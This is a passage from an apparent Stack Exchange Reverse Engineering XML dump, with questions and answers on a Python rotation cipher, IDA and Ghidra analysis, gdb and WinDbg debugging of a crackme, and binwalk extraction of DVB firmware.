print('Rots:',rotations)&#xA;       for j in range(0, rotations):&#xA;           alphabet_rotate = alphabet_rotate[1:-1] + alphabet_rotate[0] + alphabet_rotate[-1]&#xA;&#xA;       encoded_string += ALPHABET[alphabet_rotate.index(the_string[i])]&#xA;       rotations += (ord(the_string[i]) - 2) &#xA;       rotations %= 25&#xA;&#xA;   return encoded_string&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to write a decoding method however I am struggling to find the the correct offsets for the rotations. I am reversing the direction of the shifts. Also the lookup of the decoded letter works in reverse. Is this the correct approach? Any help will be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def decode(the_string):&#xA;    ALPHABET='ABCDEFGHIJKLMNOPQRSTUVWXYZ'&#xA;&#xA;    decoded_string = ''&#xA;    rotations = (ord(the_string[-1]) + 3) % 25 # &amp;lt;== 1. PROBLEM HERE&#xA;&#xA;    for i in range(0, len(the_string)):&#xA;        alphabet_rotate = ALPHABET&#xA;&#xA;        for j in range(0, rotations):&#xA;            alphabet_rotate = alphabet_rotate[-2] + alphabet_rotate[0:-2] + alphabet_rotate[-1]&#xA;&#xA;        decoded_string += alphabet_rotate[ALPHABET.index(the_string[i])]&#xA;&#xA;        rotations += (ord(the_string[i]) +20 ) # &amp;lt;== 2. PROBLEM HERE&#xA;        rotations %= 25&#xA;&#xA;    return decoded_string   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28336" LastEditorUserId="28336" LastEditDate="2019-05-06T15:17:11.190" LastActivityDate="2019-05-08T17:06:33.257" Title="String Encoding and Decoding Method" Tags="|encryption|python|encodings|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21286" PostTypeId="1" AcceptedAnswerId="21287" CreationDate="2019-05-06T20:44:06.747" Score="3" ViewCount="252" Body="&lt;p&gt;I have the following IDA output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BEGTEXT:00415A2C read_dpc_sub_415928 endp&#xA;BEGTEXT:00415A2C&#xA;BEGTEXT:00415A2C ; ---------------------------------------------------------------------------&#xA;BEGTEXT:00415A2D                 align 10h&#xA;BEGTEXT:00415A30                 push    ebx&#xA;BEGTEXT:00415A31                 push    edx&#xA;BEGTEXT:00415A32                 mov     edx, eax&#xA;BEGTEXT:00415A34                 call    sub_41576C&#xA;BEGTEXT:00415A39                 mov     ebx, eax&#xA;BEGTEXT:00415A3B                 call    sub_415758&#xA;BEGTEXT:00415A40                 mov     eax, ebx&#xA;BEGTEXT:00415A42                 call    sub_4158C8&#xA;BEGTEXT:00415A47                 mov     eax, ebx&#xA;BEGTEXT:00415A49                 pop     edx&#xA;BEGTEXT:00415A4A                 pop     ebx&#xA;BEGTEXT:00415A4B                 retn&#xA;BEGTEXT:00415A4B ; ---------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, IDA has considered that this is a code block but it hasn't been made a function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can you explain how one should try handle this situation ?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. is this really code in the end and what to consider when making a function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(if that matters, the executable is a 32-bit Windows one)&lt;/p&gt;&#xA;" OwnerUserId="4122" LastActivityDate="2019-05-07T06:20:34.903" Title="Is this really a function IDA could not decode?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21287" PostTypeId="2" ParentId="21286" CreationDate="2019-05-07T06:20:34.903" Score="7" Body="&lt;p&gt;You can make it a function by placing a cursor to address 00415A2C in disassembly view and pressing &lt;kbd&gt;P&lt;/kbd&gt;. If this doesn't work you can select the whole function and, again, press &lt;kbd&gt;P&lt;/kbd&gt;. The documentation on this action is located &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/484.shtml&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. If all this doesn't work, undefine &lt;code&gt;align 10h&lt;/code&gt; by pressing &lt;kbd&gt;U&lt;/kbd&gt;, make resulting bytes code by pressing &lt;kbd&gt;C&lt;/kbd&gt; and try again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of reasons why this function has not been created automatically, including, but not limited by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This function is not called directly&lt;/li&gt;&#xA;&lt;li&gt;This function is not called at all&lt;/li&gt;&#xA;&lt;li&gt;IDA autoanalysis was unable to find a reference to this function as function&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2019-05-07T06:20:34.903" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21292" PostTypeId="1" CreationDate="2019-05-08T13:06:39.900" Score="1" ViewCount="156" Body="&lt;p&gt;I have an application, which sometimes fails. I run procdump and see some first chance exceptions like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[14:29:38] Exception: E06D7363.?AVCServicesMDException@@&#xA;[14:29:38] Exception: E06D7363.?AVCServicesMDException@@&#xA;[14:29:38] Exception: E06D7363.?AVCBaseException@@&#xA;[14:29:38] Exception: E06D7363.?AVCBaseException@@&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to attach to process and analyze some of these exceptions. But have difficulties with setting WinDbg to handle it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run &lt;code&gt;.foreach(exc {sx}) {.catch{sxe ${exc}}}&lt;/code&gt; &amp;amp; &lt;code&gt;sxe *&lt;/code&gt; to catch all first chance exceptions and events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But got nothing similar to exceptions from dump (written by procdump).&lt;/p&gt;&#xA;" OwnerUserId="28358" LastActivityDate="2019-05-08T13:06:39.900" Title="WinDbg does not shows all first chance exceptions" Tags="|windbg|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21293" PostTypeId="2" ParentId="21285" CreationDate="2019-05-08T17:06:33.257" Score="1" Body="&lt;p&gt;Some observations first:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The initial rotations is based on a plaintext char we do not know, and so are all further rotations. Therefore, I don't think we can decode a given string directly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Plaintexts with characters outside A-Z can be encoded but I'm not sure we can decode them properly. For my analysis I assumed A-Z inputs only.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There seems to be some oddness around rotations because effectively it does &lt;code&gt;idx % 25&lt;/code&gt; instead of 26. If the input character is below 65 (='A'), it will be rotated to 'Y', not 'Z'.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That said, the following decodes a given encoded string and a given initial rotation which is not known:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def decode(string,initial):&#xA;    alph = &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;&#xA;&#xA;    rot = initial&#xA;&#xA;    decoded = &quot;&quot;&#xA;&#xA;    for i in range(len(string)):&#xA;        c = string[i]&#xA;        plain = alph[(alph.index(c)+rot) % (len(alph)-1)]&#xA;        decoded += plain&#xA;&#xA;        rot += ord(plain)-2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we add a line to the encode function to spit out the initial rotation we can test this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print(decode(encode(&quot;HELLO&quot;),84))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;prints &lt;code&gt;HELLO&lt;/code&gt; correctly given the initial rotation of 84 as printed by the modified &lt;code&gt;encode&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we have one clue to verify if we got the proper decoding. The first rotation and the last plaintext character are in relation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;first rot = ord(last plaintext char) + 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So we can test all initial rotations and the verify the above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However&lt;/em&gt;, the equality is under modulo 25. For example the 'HELLO' line can be properly decoded with the initial rotation 84 - but also with 9 (which you get by doing 84 % 25).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we write a function to find a proper decoding like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def find_decoding(string):&#xA;    for i in range(26):&#xA;        decoded = decode(string,i)&#xA;        if ((ord(decoded[-1])+5) % 25) == i:&#xA;            print(&quot;Key %d valid: %s&quot; % (i,decode(string,i)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;we can then find initial rotations for which the mentioned relationship holds. Interestingly 'HELLO' seems to be a rare input with multiple possible keys in the range 0-25:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Key 4 valid: CTQVJ&#xA;Key 9 valid: HELLO&#xA;Key 14 valid: MOGBT&#xA;Key 19 valid: RYBQY&#xA;Key 24 valid: WJVGE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but any other string I tried randomly only had one valid initial rotation.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-05-08T17:06:33.257" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21294" PostTypeId="2" ParentId="3974" CreationDate="2019-05-08T19:17:55.797" Score="0" Body="&lt;p&gt;If the program is legitimately triggering SIGTRAP itself for some odd reason, and relies on that happening, then you can tell gdb to return to the program and execute the program's own SIGTRAP handling by executing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;signal SIGTRAP&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just like &lt;code&gt;c&lt;/code&gt; for continue, except that it continues at the SIGTRAP handler rather than wherever the exception/trap was raised.&lt;/p&gt;&#xA;" OwnerUserId="28363" LastActivityDate="2019-05-08T19:17:55.797" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21295" PostTypeId="1" CreationDate="2019-05-08T22:55:26.427" Score="1" ViewCount="3529" Body="&lt;p&gt;I have a file &lt;code&gt;crackme&lt;/code&gt;, which is an executable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hamuto@hamuto-pc:~/Security/NOOB/FruitSalad$ file crackme &#xA;crackme: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5418569f8ce35c5b188b0a4f13e79f4a611ee54e, stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to follow the instructions of the solution of the bellow question.&lt;br&gt;&#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3815/reversing-elf-64-bit-lsb-executable-x86-64-gdb&quot;&gt;Reversing ELF 64-bit LSB executable, x86-64 ,gdb&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, I have a problem and I can't find a solution.&lt;br&gt;&#xA;What I did:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hamuto@hamuto-pc:~/Security/NOOB/FruitSalad$ gdb crackme -q&#xA;Reading symbols from crackme...&#xA;(No debugging symbols found in crackme)&#xA;gdb$ info files&#xA;Symbols from &quot;/home/hamuto/Security/NOOB/FruitSalad/crackme&quot;.&#xA;Local exec file:&#xA;    `/home/hamuto/Security/NOOB/FruitSalad/crackme', file type elf64-x86-64.&#xA;    Entry point: 0x22b0&#xA;    0x00000000000002a8 - 0x00000000000002c4 is .interp&#xA;    0x00000000000002c4 - 0x00000000000002e4 is .note.ABI-tag&#xA;    0x00000000000002e4 - 0x0000000000000308 is .note.gnu.build-id&#xA;    0x0000000000000308 - 0x0000000000000340 is .gnu.hash&#xA;    0x0000000000000340 - 0x0000000000000850 is .dynsym&#xA;    0x0000000000000850 - 0x00000000000010d4 is .dynstr&#xA;    0x00000000000010d4 - 0x0000000000001140 is .gnu.version&#xA;    0x0000000000001140 - 0x00000000000011f0 is .gnu.version_r&#xA;    0x00000000000011f0 - 0x0000000000001508 is .rela.dyn&#xA;    0x0000000000001508 - 0x00000000000018b0 is .rela.plt&#xA;    0x0000000000002000 - 0x0000000000002017 is .init&#xA;    0x0000000000002020 - 0x00000000000022a0 is .plt&#xA;    0x00000000000022a0 - 0x00000000000022a8 is .plt.got&#xA;    0x00000000000022b0 - 0x0000000000009b81 is .text&#xA;    0x0000000000009b84 - 0x0000000000009b8d is .fini&#xA;    0x000000000000a000 - 0x000000000000a2da is .rodata&#xA;    0x000000000000a2dc - 0x000000000000ae90 is .eh_frame_hdr&#xA;    0x000000000000ae90 - 0x000000000000df70 is .eh_frame&#xA;    0x000000000000df70 - 0x000000000000e25c is .gcc_except_table&#xA;    0x000000000000fd10 - 0x000000000000fd28 is .init_array&#xA;    0x000000000000fd28 - 0x000000000000fd30 is .fini_array&#xA;    0x000000000000fd30 - 0x000000000000fdb8 is .data.rel.ro&#xA;    0x000000000000fdb8 - 0x000000000000ffc8 is .dynamic&#xA;    0x000000000000ffc8 - 0x0000000000010000 is .got&#xA;    0x0000000000010000 - 0x0000000000010150 is .got.plt&#xA;    0x0000000000010150 - 0x000000000001016c is .data&#xA;    0x0000000000010180 - 0x00000000000103f0 is .bss&#xA;gdb$ &#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see the entry point is at 0x22b0. If I try to create a breakpoint and run :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb$ break *0x22b0&#xA;Breakpoint 1 at 0x22b0&#xA;gdb$ r&#xA;Starting program: /home/hamuto/Security/NOOB/FruitSalad/crackme &#xA;&#xA;[1]+  Arrêté                gdb crackme -q&#xA;hamuto@hamuto-pc:~/Security/NOOB/FruitSalad$ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The program actually get to the background, I can get it back with the command &lt;code&gt;fg&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hamuto@hamuto-pc:~/Security/NOOB/FruitSalad$ fg&#xA;gdb crackme -q&#xA;Warning:&#xA;Cannot insert breakpoint 1.&#xA;Cannot access memory at address 0x22b0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is still strange, that gdb went to the background, but that's not all if I try to disassemble the entry point, with a size of 50:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb$ disas 0x22b0,+50&#xA;Dump of assembler code from 0x22b0 to 0x2300:&#xA;   0x00000000000022b0:  Cannot access memory at address 0x22b0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't work, I must be missing something. Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="28364" LastActivityDate="2019-05-08T22:55:26.427" Title="Reversing ELF 64-bit LSB pie executable" Tags="|gdb|elf|" AnswerCount="0" CommentCount="2" ClosedDate="2019-05-09T08:24:40.200" ContentLicense="CC BY-SA 4.0" />
  <row Id="21297" PostTypeId="1" CreationDate="2019-05-09T07:24:44.300" Score="4" ViewCount="4977" Body="&lt;p&gt;I'm trying to verify the correctness of a custom processor module in Ghidra. The instruction that I am currently analyzing does some fancy stuff with its &lt;a href=&quot;https://ghidra.re/courses/languages/html/pcoderef.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;p-code&lt;/a&gt;. Specifically, it uses a bunch of &lt;a href=&quot;https://ghidra.re/courses/languages/html/sleigh_constructors.html#sleigh_tables&quot; rel=&quot;nofollow noreferrer&quot;&gt;tables&lt;/a&gt; that end up forming a &lt;a href=&quot;https://ghidra.re/courses/languages/html/sleigh_constructors.html#idm140310874886224&quot; rel=&quot;nofollow noreferrer&quot;&gt;p-code tree&lt;/a&gt; that is several levels deep when it disassembles that instruction. Since p-code trees are walked in a depth-first order, that means the p-code of the child nodes will be emitted first before their parents. This could result in the p-code of the instruction not working in the order that you might expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to have Ghidra (or SLEIGH, or whatever affiliated tool) spit out the full generated p-code after it has walked the tree so I can verify that things are happening in the order that I think they are.&lt;/p&gt;&#xA;" OwnerUserId="28369" LastActivityDate="2021-03-09T19:57:24.790" Title="Can Ghidra show me the p-code generated for an instruction?" Tags="|disassembly|ghidra|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21298" PostTypeId="1" CreationDate="2019-05-09T08:58:52.453" Score="4" ViewCount="2659" Body="&lt;p&gt;I have a bin file of DVB (DTH) box firmware. I want to change one image inside that bin file, how I can do this? Please guide me in right direction.&lt;/p&gt;&#xA;&lt;p&gt;I tried bin walk, but the file that it extracted looks like unuseful.&lt;/p&gt;&#xA;&lt;p&gt;Below is the command I tried:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -B /Users/Me/Documents/Reverse/dump_all.bin &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;52150         0xCBB6          LZMA compressed data, properties: 0xC8, dictionary size: 16777216 bytes, uncompressed size: 65536 bytes&#xA;55216         0xD7B0          eCos RTOS string reference: &amp;quot;ecos.bin.lzma&amp;quot;&#xA;55232         0xD7C0          eCos RTOS string reference: &amp;quot;ecos.bin.gz&amp;quot;&#xA;66048         0x10200         JPEG image data, JFIF standard 1.02&#xA;66078         0x1021E         TIFF image data, big-endian, offset of first image directory: 8&#xA;68069         0x109E5         Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#' xmlns:iX='http://ns.adobe.com/iX/1.0/'&amp;gt;&#xA;68238         0x10A8E         Unix path: /ns.adobe.com/xap/1.0/mm/'&amp;gt;&#xA;131072        0x20000         romfs filesystem, version 1 size: 2439392 bytes, named &amp;quot;rom 5c67f699&amp;quot;&#xA;2621440       0x280000        CramFS filesystem, little endian, size: 12288 version 2 sorted_dirs CRC 0xA76D500A, edition 0, 5 blocks, 20 files&#xA;2883584       0x2C0000        CramFS filesystem, little endian, size: 819200 version 2 sorted_dirs CRC 0xB7F50F6A, edition 0, 976 blocks, 362 files&#xA;3739148       0x390E0C        Zlib compressed data, compressed&#xA;3741196       0x39160C        Zlib compressed data, compressed&#xA;3743756       0x39200C        Zlib compressed data, compressed&#xA;3744780       0x39240C        Zlib compressed data, compressed&#xA;3746316       0x392A0C        Zlib compressed data, compressed&#xA;3750924       0x393C0C        Zlib compressed data, compressed&#xA;3752460       0x39420C        Zlib compressed data, compressed&#xA;3753996       0x39480C        Zlib compressed data, compressed&#xA;3755532       0x394E0C        Zlib compressed data, compressed&#xA;3757068       0x39540C        Zlib compressed data, compressed&#xA;3758604       0x395A0C        Zlib compressed data, compressed&#xA;3867148       0x3B020C        Zlib compressed data, compressed&#xA;3901964       0x3B8A0C        Zlib compressed data, compressed&#xA;3903500       0x3B900C        Zlib compressed data, compressed&#xA;3905036       0x3B960C        Zlib compressed data, compressed&#xA;3906572       0x3B9C0C        Zlib compressed data, compressed&#xA;3908108       0x3BA20C        Zlib compressed data, compressed&#xA;3909644       0x3BA80C        Zlib compressed data, compressed&#xA;3911180       0x3BAE0C        Zlib compressed data, compressed&#xA;3912716       0x3BB40C        Zlib compressed data, compressed&#xA;3914252       0x3BBA0C        Zlib compressed data, compressed&#xA;4020748       0x3D5A0C        Zlib compressed data, compressed&#xA;4022284       0x3D600C        Zlib compressed data, compressed&#xA;4023820       0x3D660C        Zlib compressed data, compressed&#xA;4041740       0x3DAC0C        Zlib compressed data, compressed&#xA;4045836       0x3DBC0C        Zlib compressed data, compressed&#xA;4047372       0x3DC20C        Zlib compressed data, compressed&#xA;4064780       0x3E060C        Zlib compressed data, compressed&#xA;4065804       0x3E0A0C        Zlib compressed data, compressed&#xA;4133900       0x3F140C        Zlib compressed data, compressed&#xA;4135436       0x3F1A0C        Zlib compressed data, compressed&#xA;4140556       0x3F2E0C        Zlib compressed data, compressed&#xA;4142092       0x3F340C        Zlib compressed data, compressed&#xA;4147212       0x3F480C        Zlib compressed data, compressed&#xA;4148748       0x3F4E0C        Zlib compressed data, compressed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And the second command to extract file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -e /Users/Me/Documents/Reverse/dump_all.bin -C /Users/me/Documents/Reverse/dump_all &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;&#xA;WARNING: Extractor.execute failed to run external extractor '7z e -y '%e'': [Errno 2] No such file or directory&#xA;52150         0xCBB6          LZMA compressed data, properties: 0xC8, dictionary size: 16777216 bytes, uncompressed size: 65536 bytes&#xA;55216         0xD7B0          eCos RTOS string reference: &amp;quot;ecos.bin.lzma&amp;quot;&#xA;55232         0xD7C0          eCos RTOS string reference: &amp;quot;ecos.bin.gz&amp;quot;&#xA;66048         0x10200         JPEG image data, JFIF standard 1.02&#xA;66078         0x1021E         TIFF image data, big-endian, offset of first image directory: 8&#xA;68069         0x109E5         Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#' xmlns:iX='http://ns.adobe.com/iX/1.0/'&amp;gt;&#xA;68238         0x10A8E         Unix path: /ns.adobe.com/xap/1.0/mm/'&amp;gt;&#xA;131072        0x20000         romfs filesystem, version 1 size: 2439392 bytes, named &amp;quot;rom 5c67f699&amp;quot;&#xA;&#xA;WARNING: Extractor.execute failed to run external extractor 'cramfsck -x '%%cramfs-root%%' '%e'': [Errno 2] No such file or directory&#xA;&#xA;WARNING: Extractor.execute failed to run external extractor 'cramfsswap '%e' '%e.swap' &amp;amp;&amp;amp; cramfsck -x '%%cramfs-root%%' '%e.swap'': [Errno 2] No such file or directory&#xA;2621440       0x280000        CramFS filesystem, little endian, size: 12288 version 2 sorted_dirs CRC 0xA76D500A, edition 0, 5 blocks, 20 files&#xA;&#xA;WARNING: Extractor.execute failed to run external extractor 'cramfsck -x '%%cramfs-root%%' '%e'': [Errno 2] No such file or directory&#xA;&#xA;WARNING: Extractor.execute failed to run external extractor 'cramfsswap '%e' '%e.swap' &amp;amp;&amp;amp; cramfsck -x '%%cramfs-root%%' '%e.swap'': [Errno 2] No such file or directory&#xA;2883584       0x2C0000        CramFS filesystem, little endian, size: 819200 version 2 sorted_dirs CRC 0xB7F50F6A, edition 0, 976 blocks, 362 files&#xA;3739148       0x390E0C        Zlib compressed data, compressed&#xA;3741196       0x39160C        Zlib compressed data, compressed&#xA;3743756       0x39200C        Zlib compressed data, compressed&#xA;3744780       0x39240C        Zlib compressed data, compressed&#xA;3746316       0x392A0C        Zlib compressed data, compressed&#xA;3750924       0x393C0C        Zlib compressed data, compressed&#xA;3752460       0x39420C        Zlib compressed data, compressed&#xA;3753996       0x39480C        Zlib compressed data, compressed&#xA;3755532       0x394E0C        Zlib compressed data, compressed&#xA;3757068       0x39540C        Zlib compressed data, compressed&#xA;3758604       0x395A0C        Zlib compressed data, compressed&#xA;3867148       0x3B020C        Zlib compressed data, compressed&#xA;3901964       0x3B8A0C        Zlib compressed data, compressed&#xA;3903500       0x3B900C        Zlib compressed data, compressed&#xA;3905036       0x3B960C        Zlib compressed data, compressed&#xA;3906572       0x3B9C0C        Zlib compressed data, compressed&#xA;3908108       0x3BA20C        Zlib compressed data, compressed&#xA;3909644       0x3BA80C        Zlib compressed data, compressed&#xA;3911180       0x3BAE0C        Zlib compressed data, compressed&#xA;3912716       0x3BB40C        Zlib compressed data, compressed&#xA;3914252       0x3BBA0C        Zlib compressed data, compressed&#xA;4020748       0x3D5A0C        Zlib compressed data, compressed&#xA;4022284       0x3D600C        Zlib compressed data, compressed&#xA;4023820       0x3D660C        Zlib compressed data, compressed&#xA;4041740       0x3DAC0C        Zlib compressed data, compressed&#xA;4045836       0x3DBC0C        Zlib compressed data, compressed&#xA;4047372       0x3DC20C        Zlib compressed data, compressed&#xA;4064780       0x3E060C        Zlib compressed data, compressed&#xA;4065804       0x3E0A0C        Zlib compressed data, compressed&#xA;4133900       0x3F140C        Zlib compressed data, compressed&#xA;4135436       0x3F1A0C        Zlib compressed data, compressed&#xA;4140556       0x3F2E0C        Zlib compressed data, compressed&#xA;4142092       0x3F340C        Zlib compressed data, compressed&#xA;4147212       0x3F480C        Zlib compressed data, compressed&#xA;4148748       0x3F4E0C        Zlib compressed data, compressed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And the output folder looks like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9mXJZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9mXJZ.png&quot; alt=&quot;Extracted file using binwalk&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I also tried 7zip to extract files, and below is the screenshot of extracted files:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fsAXH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fsAXH.png&quot; alt=&quot;Files extracted using 7zip&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It looks like 7zip extracted the file structure I am looking for but problem is that it didn't extract files there are only folders only and there was an error message, too:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kHg8O.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kHg8O.png&quot; alt=&quot;Error in 7zip extraction&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is &lt;a href=&quot;https://drive.google.com/open?id=11w8f1KNouSGwBA8zgSKvXdVSDqh5RH0a&quot; rel=&quot;nofollow noreferrer&quot;&gt;the link to firmware&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13212" LastEditorUserId="37138" LastEditDate="2021-07-05T21:07:58.330" LastActivityDate="2022-12-02T11:58:54.617" Title="How to extract DVB firmware bin file?" Tags="|binary-analysis|firmware|binary|firmware-analysis|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="21299" PostTypeId="2" ParentId="21297" CreationDate="2019-05-09T18:07:09.177" Score="6" Body="&lt;p&gt;For an individual instruction, yes, sure. See this recent &lt;a href=&quot;https://www.msreverseengineering.com/blog/2019/4/17/an-abstract-interpretation-based-deobfuscation-plugin-for-ghidra&quot; rel=&quot;noreferrer&quot;&gt;blog post&lt;/a&gt; of mine and search for &quot;Jenga&quot;. If you're talking about inspecting the pcode after the decompiler has done its business with it, there's &lt;a href=&quot;https://github.com/d-millar/ghidra_pcode_scripts&quot; rel=&quot;noreferrer&quot;&gt;a couple of scripts&lt;/a&gt; that user d-millar has repeatedly linked on the Ghidra GitHub that demontrate how to use that form of the pcode from the API, as well as providing some code for output.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2019-05-09T18:07:09.177" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21300" PostTypeId="1" CreationDate="2019-05-09T19:31:11.680" Score="0" ViewCount="546" Body="&lt;p&gt;I have a board that is using kline to communicate and I have a tool that can read the software from that board. I want to see the communication that is happening between the two to see how the tool is able to read the firmware from that board.&#xA;I didn't find any tool or any information on how to sniff kline packets. Found only how to sniff CAN packets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I it is possible to sniff data using arduino or raspberry or any other tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I'm interested in is making a software that can read the firmware from that board.&lt;/p&gt;&#xA;" OwnerUserId="28074" LastEditorUserId="28232" LastEditDate="2019-05-10T18:05:46.813" LastActivityDate="2019-05-10T18:05:46.813" Title="How would I sniff kline data packets" Tags="|arduino|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21305" PostTypeId="1" CreationDate="2019-05-12T03:55:19.647" Score="1" ViewCount="472" Body="&lt;p&gt;Loading the source into IDA, I have this function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0aO5F.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the &lt;a href=&quot;https://www.lua.org/source/5.1/lapi.c.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;source for Lua&lt;/a&gt;, this function should be passed a pointer to the Lua_State struct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LUA_API int lua_gettop (lua_State *L) {&#xA;  return cast_int(L-&amp;gt;top - L-&amp;gt;base);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm currently trying to figure out what pointer is being passed to this procedure (In this case &lt;code&gt;arg_0&lt;/code&gt;). I can attach a breakpoint and it correctly breaks, but how would I find the associated &lt;code&gt;.data&lt;/code&gt; location for where it's stored?&lt;/p&gt;&#xA;" OwnerUserId="28389" LastEditorUserId="245" LastEditDate="2019-05-24T07:19:55.383" LastActivityDate="2019-05-24T07:19:55.383" Title="Using IDA to find pointer passed to procedure" Tags="|ida|binary-analysis|" AnswerCount="0" CommentCount="1" 